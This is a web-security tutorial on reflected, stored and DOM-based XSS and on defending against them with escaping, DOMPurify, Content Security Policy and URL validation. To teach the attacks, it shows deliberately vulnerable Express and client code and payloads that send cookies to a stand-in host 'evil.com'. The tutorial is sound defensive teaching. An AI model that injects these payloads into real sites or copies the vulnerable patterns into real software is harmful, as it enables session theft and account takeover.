Skip to content

XSS: Reflected, Stored, and DOM-Based

intermediate18 min read

The Attack That Refuses to Die

Cross-Site Scripting (XSS) has been in the OWASP Top 10 for over two decades. It was a problem in 2003, and it's still a problem today. Why? Because at its core, XSS exploits the most fundamental thing browsers do: execute JavaScript.

Here's the one-sentence version: XSS is when an attacker injects malicious scripts into a web page that other users view. The browser can't tell the difference between your legitimate code and the attacker's injected code. It just runs everything.

Mental Model

Imagine you're at a restaurant. You write your order on a slip of paper. The waiter takes it to the kitchen, no questions asked. Now imagine someone slips an extra instruction onto your order: "Also, give me the contents of the cash register." The kitchen can't tell which instructions are legitimate and which aren't — it just executes everything on the paper. That's XSS. The browser is the kitchen. Your HTML is the order slip. The attacker is the person adding extra instructions.

What Makes XSS Dangerous

This isn't a theoretical concern. When an attacker successfully injects a script into your page, they can:

  • Steal session cookies and hijack user accounts
  • Read sensitive data from the DOM (credit card numbers, personal info)
  • Perform actions on behalf of the user (transfer money, change passwords)
  • Redirect users to phishing sites
  • Install keyloggers that capture every keystroke
  • Deface the page to destroy trust in your brand

The damage depends on what the page has access to. If the user is an admin, the attacker becomes an admin.

Quiz
An attacker injects a script that reads document.cookie and sends it to their server. What can they do with this?

The Three Types of XSS

Every XSS attack falls into one of three categories based on where the malicious payload enters and how it reaches the browser. Understanding the differences is essential because each type requires a different defense strategy.

ReflectedStoredDOM-Based
Payload sourceURL parameters or form inputDatabase or server storageClient-side JavaScript
Server involved?Yes — reflects input in responseYes — serves stored payloadNo — purely client-side
PersistenceSingle request (non-persistent)Permanent until removed (persistent)Single request (non-persistent)
Delivery methodMalicious link sent to victimVictim visits the page normallyMalicious link with fragment/params
Server sees payload?Yes — in the requestYes — in the databaseNot necessarily (fragment identifiers)
Typical targetSearch pages, error messagesComments, profiles, forumsSPAs, client-side routing

Reflected XSS — The One-Click Attack

Reflected XSS is the most common type. The payload travels through the URL, hits the server, and the server reflects it back in the HTML response without sanitizing it.

Here's a vulnerable search page:

// Server-side (Express) — VULNERABLE
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`
    <h1>Search results for: ${query}</h1>
    <p>No results found.</p>
  `);
});

If a user visits /search?q=shoes, they see "Search results for: shoes." Normal.

But what if the attacker sends them this link?

/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

The server builds the HTML with the script tag embedded directly in the response. The browser sees valid HTML with a script tag and executes it. The attacker now has the user's cookies.

Why it's called "reflected": The server reflects the input right back at the user. The payload never gets stored anywhere — it lives in the URL and exists only for that single request.

The catch: The attacker needs to trick the victim into clicking the malicious link. This typically happens through phishing emails, social media messages, or shortened URLs that hide the payload.

Quiz
A search page displays the query from the URL in an h1 tag. An attacker crafts a URL containing a script tag in the query parameter. What type of XSS is this?

Stored XSS — The Silent Bomb

Stored XSS (also called persistent XSS) is the most dangerous type because the payload is saved to the server and served to every user who views the affected page. No special link required — victims just visit the page normally.

Classic scenario: a comment section.

// Server-side — VULNERABLE
app.post('/comments', (req, res) => {
  db.comments.insert({
    text: req.body.comment,
    author: req.user.name
  });
  res.redirect('/post/123');
});

app.get('/post/:id', (req, res) => {
  const comments = db.comments.find({ postId: req.params.id });
  const html = comments.map(c =>
    `<div class="comment">
      <strong>${c.author}</strong>
      <p>${c.text}</p>
    </div>`
  ).join('');
  res.send(renderPage(html));
});

The attacker submits this as a comment:

Great article! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>

That script tag is now stored in the database. Every single user who opens that post will unknowingly execute the attacker's script. The attacker doesn't need to send anyone a link. They just wait.

Why stored XSS is the most dangerous:

  • It affects every user who views the page, not just one person clicking a link
  • The payload persists until someone manually removes it from the database
  • It can spread — if the payload modifies the page to inject itself into other forms, it becomes a worm

The Samy worm (2005) exploited stored XSS on MySpace. It added "Samy is my hero" to every profile it infected and made the viewer send Samy a friend request. It infected over one million profiles in under 20 hours.

Quiz
An attacker posts a comment containing malicious JavaScript on a blog. Every user who views the blog post gets their session stolen. What makes this stored XSS rather than reflected XSS?

DOM-Based XSS — The Invisible One

DOM-based XSS is different from the other two in one critical way: the server is never involved. The vulnerability lives entirely in client-side JavaScript that reads untrusted data (typically from the URL) and writes it into the DOM without sanitization.

// Client-side JavaScript — VULNERABLE
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
document.getElementById('greeting').innerHTML =
  `Welcome back, ${name}!`;

The attacker crafts this URL:

https://example.com/dashboard?name=<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

The page's JavaScript reads the name parameter and shoves it into the DOM via innerHTML. The browser parses the injected img tag, fails to load the src, triggers the onerror handler, and the attacker's code executes.

Why DOM-based XSS is tricky to detect:

  • The payload might live in the URL fragment (#), which is never sent to the server
  • Server-side security scanners won't catch it because the server never sees the payload
  • WAFs (Web Application Firewalls) are blind to it
  • It's a purely client-side bug that requires client-side code review to find

Common sinks (dangerous DOM APIs) that cause DOM-based XSS:

  • element.innerHTML — parses and executes HTML, including script-like constructs
  • element.outerHTML — same as innerHTML but replaces the element itself
  • document.write() — writes directly to the document stream
  • eval() — executes arbitrary strings as JavaScript
  • setTimeout(string) / setInterval(string) — when passed a string, they act like eval
  • location.href = userInput — if the input is javascript:..., it executes

Common sources (where untrusted data comes from):

  • window.location (href, search, hash, pathname)
  • document.referrer
  • document.cookie
  • window.name
  • postMessage data
Quiz
A page reads window.location.hash and inserts it into the DOM via innerHTML. The server logs show no suspicious requests. Why?

How React Protects You (and When It Doesn't)

If you're building with React, you have a significant advantage: JSX auto-escapes everything by default.

function SearchResults({ query }) {
  // React auto-escapes the query — safe!
  return <h1>Search results for: {query}</h1>;
}

Even if query contains <script>alert('xss')</script>, React converts the angle brackets to their HTML entity equivalents (&lt;script&gt;). The browser renders the text literally instead of parsing it as HTML. This single behavior prevents the vast majority of XSS attacks in React applications.

But React has escape hatches, and they're exactly where XSS creeps back in:

dangerouslySetInnerHTML

The name is a warning. When you use dangerouslySetInnerHTML, you're telling React to skip escaping and insert raw HTML.

// VULNERABLE — never do this with user input
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// Attacker submits: <img src=x onerror="alert('pwned')">
// React inserts it as raw HTML. Game over.

javascript: URLs in href

React does not block javascript: protocol URLs. If you render user-provided URLs without validation, an attacker can execute code when the link is clicked:

// VULNERABLE
function UserProfile({ website }) {
  return <a href={website}>Visit website</a>;
}

// Attacker sets website to: javascript:alert(document.cookie)
// Clicking the link executes the script

Third-party libraries that bypass React

Libraries that directly manipulate the DOM (using innerHTML, insertAdjacentHTML, or similar) bypass React's escaping entirely. If those libraries accept user input, you're vulnerable.

Quiz
A React component renders user input inside a JSX expression like this: {userInput}. Is this vulnerable to XSS?

Defense in Depth: Sanitization

Auto-escaping is great, but sometimes you need to render HTML — rich text editors, markdown rendering, CMS content. When you must render raw HTML, sanitize it first.

DOMPurify is the gold standard for client-side HTML sanitization:

import DOMPurify from 'dompurify';

const dirty = '<img src=x onerror="alert(1)"><b>Hello</b>';
const clean = DOMPurify.sanitize(dirty);
// Result: '<b>Hello</b>'
// The img with onerror is stripped. The safe b tag is kept.

DOMPurify uses an allowlist approach: it knows which tags and attributes are safe and strips everything else. It handles edge cases you'd never think of — mutation XSS, parser differentials between browsers, and encoding tricks that bypass naive regex-based sanitizers.

function RichContent({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href', 'target', 'rel']
  });

  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Never build your own sanitizer. It's one of those problems that looks simple on the surface but has hundreds of edge cases. Regex-based sanitizers are particularly dangerous because they can be bypassed with encoding tricks, capitalization variations, null bytes, and parser quirks.

Common Trap

You might think stripping out script tags is enough. It's not even close. Attackers have dozens of ways to execute JavaScript without a script tag: onerror on img tags, onload on body/iframe tags, onfocus on input tags with autofocus, CSS expression() (older IE), SVG onload, javascript: URLs, data URIs, and more. That's why you need a proper sanitizer like DOMPurify that handles all of these vectors.

Defense in Depth: Output Encoding

Output encoding (also called escaping) means converting special characters to their safe equivalents based on the context where the data appears. Different contexts require different encoding:

HTML context — convert <, >, &, ", ' to HTML entities:

Input:  <script>alert(1)</script>
Output: &lt;script&gt;alert(1)&lt;/script&gt;

JavaScript context — if you're embedding data inside a script tag, JSON-encode it:

<!-- WRONG — vulnerable -->
<script>const user = "USER_INPUT_HERE";</script>

<!-- RIGHT — JSON.stringify escapes special characters -->
<script>const user = {"name":"O'Brien","bio":"<script>nope</script>"};</script>

URL context — use encodeURIComponent() for URL parameters:

const safeUrl = `/search?q=${encodeURIComponent(userInput)}`;

CSS context — avoid inserting user input into CSS entirely. If you must, use CSS.escape():

element.style.backgroundImage = `url("${CSS.escape(userInput)}")`;

The key insight: encoding is context-dependent. HTML encoding in a JavaScript context won't protect you. URL encoding in an HTML context won't protect you. Always encode for the specific context where the data will be used.

Defense in Depth: Content Security Policy

Content Security Policy (CSP) is your last line of defense. Even if an attacker manages to inject a script, a properly configured CSP can prevent it from executing.

CSP works by telling the browser which sources of content are allowed to load and execute. It's delivered via HTTP header:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' https:;

This policy says:

  • Only load scripts from our own origin ('self') — no inline scripts, no external scripts
  • Only load styles from our origin (with inline styles allowed for now)
  • Only load images from our origin or any HTTPS source

The critical directive for XSS is script-src. Setting it to 'self' blocks all inline scripts and eval(). Even if an attacker injects <script>alert(1)</script>, the browser refuses to execute it because inline scripts aren't in the allowlist.

For applications that need inline scripts (analytics, etc.), use nonces:

Content-Security-Policy: script-src 'self' 'nonce-a1b2c3d4'
<!-- This runs — it has the correct nonce -->
<script nonce="a1b2c3d4">analytics.init();</script>

<!-- This is blocked — no nonce or wrong nonce -->
<script>alert('xss')</script>

The nonce must be a cryptographically random value regenerated on every request. The attacker can't predict it, so they can't add it to their injected scripts.

Info

CSP is defense-in-depth, not a replacement for proper escaping and sanitization. Think of it as the seatbelt — you still need to drive safely, but if something goes wrong, it limits the damage. A strict CSP with no unsafe-inline and no unsafe-eval eliminates most XSS impact even when your escaping has a gap.

Putting It All Together

Here's the full defense stack, from innermost to outermost:

URL Validation — The Forgotten Vector

One pattern that catches teams off guard: user-provided URLs. Even with React's JSX escaping, a javascript: URL in an href prop will execute when clicked.

function validateUrl(url) {
  try {
    const parsed = new URL(url);
    return ['http:', 'https:'].includes(parsed.protocol)
      ? url
      : '#';
  } catch {
    return '#';
  }
}

function SafeLink({ url, children }) {
  return <a href={validateUrl(url)}>{children}</a>;
}

Always validate that user-provided URLs use http: or https: protocol. Reject javascript:, data:, vbscript:, and anything else.

Quiz
A React app renders user profile links like this: <a href={user.website}>. The attacker sets their website to javascript:alert(document.cookie). What happens when another user clicks the link?

Common Mistakes

What developers doWhat they should do
Stripping script tags with regex and calling it sanitized
Attackers have dozens of ways to execute JavaScript without script tags. Regex-based sanitizers miss onerror, onload, javascript: URLs, data URIs, SVG payloads, and countless encoding bypasses.
Use DOMPurify which handles all XSS vectors including event handlers, SVG, mutation XSS, and encoding tricks
Using dangerouslySetInnerHTML with user-provided content without sanitization
dangerouslySetInnerHTML bypasses React's auto-escaping entirely. Any HTML injected through it is parsed and executed by the browser, including event handlers and script-equivalent constructs.
Always pass content through DOMPurify.sanitize() before using dangerouslySetInnerHTML
Assuming CSP alone prevents XSS
CSP is a mitigation layer, not a prevention layer. Misconfigured CSPs with unsafe-inline or overly broad allowlists provide little protection. And CSP can't prevent DOM manipulation attacks that don't involve script execution.
Use CSP as defense-in-depth on top of proper escaping and sanitization
Rendering user-provided URLs in href without protocol validation
React does not block javascript: protocol in href props. A link with href set to javascript:maliciousCode() executes that code when clicked, even in a React app with JSX escaping.
Validate that URLs use http: or https: protocol before rendering
Only defending against script tag injection and ignoring other contexts
XSS vectors vary by context. An HTML entity escape that stops a script tag in HTML context does nothing when the data ends up inside a JavaScript string literal or a URL parameter.
Apply context-appropriate encoding for HTML, JavaScript, URL, and CSS contexts

Key Rules

Key Rules
  1. 1Never trust user input — treat all data from URLs, forms, APIs, and databases as potentially malicious
  2. 2Use your framework's built-in escaping (JSX curly braces in React) as the default, and never bypass it without sanitization
  3. 3Sanitize with DOMPurify whenever you must render raw HTML — never use regex-based sanitizers
  4. 4Validate URL protocols before rendering user-provided links — only allow http: and https:
  5. 5Deploy a strict Content Security Policy with no unsafe-inline and no unsafe-eval as defense-in-depth
  6. 6Encode output based on context — HTML entities for HTML, JSON.stringify for JavaScript, encodeURIComponent for URLs
  7. 7Set the HttpOnly flag on session cookies so JavaScript cannot read them even if XSS succeeds
  8. 8Audit third-party libraries that manipulate the DOM directly — they bypass React's escaping
Quiz
You need to render markdown content from a CMS in your React app. The content may contain HTML. What is the safest approach?

Where to Go Next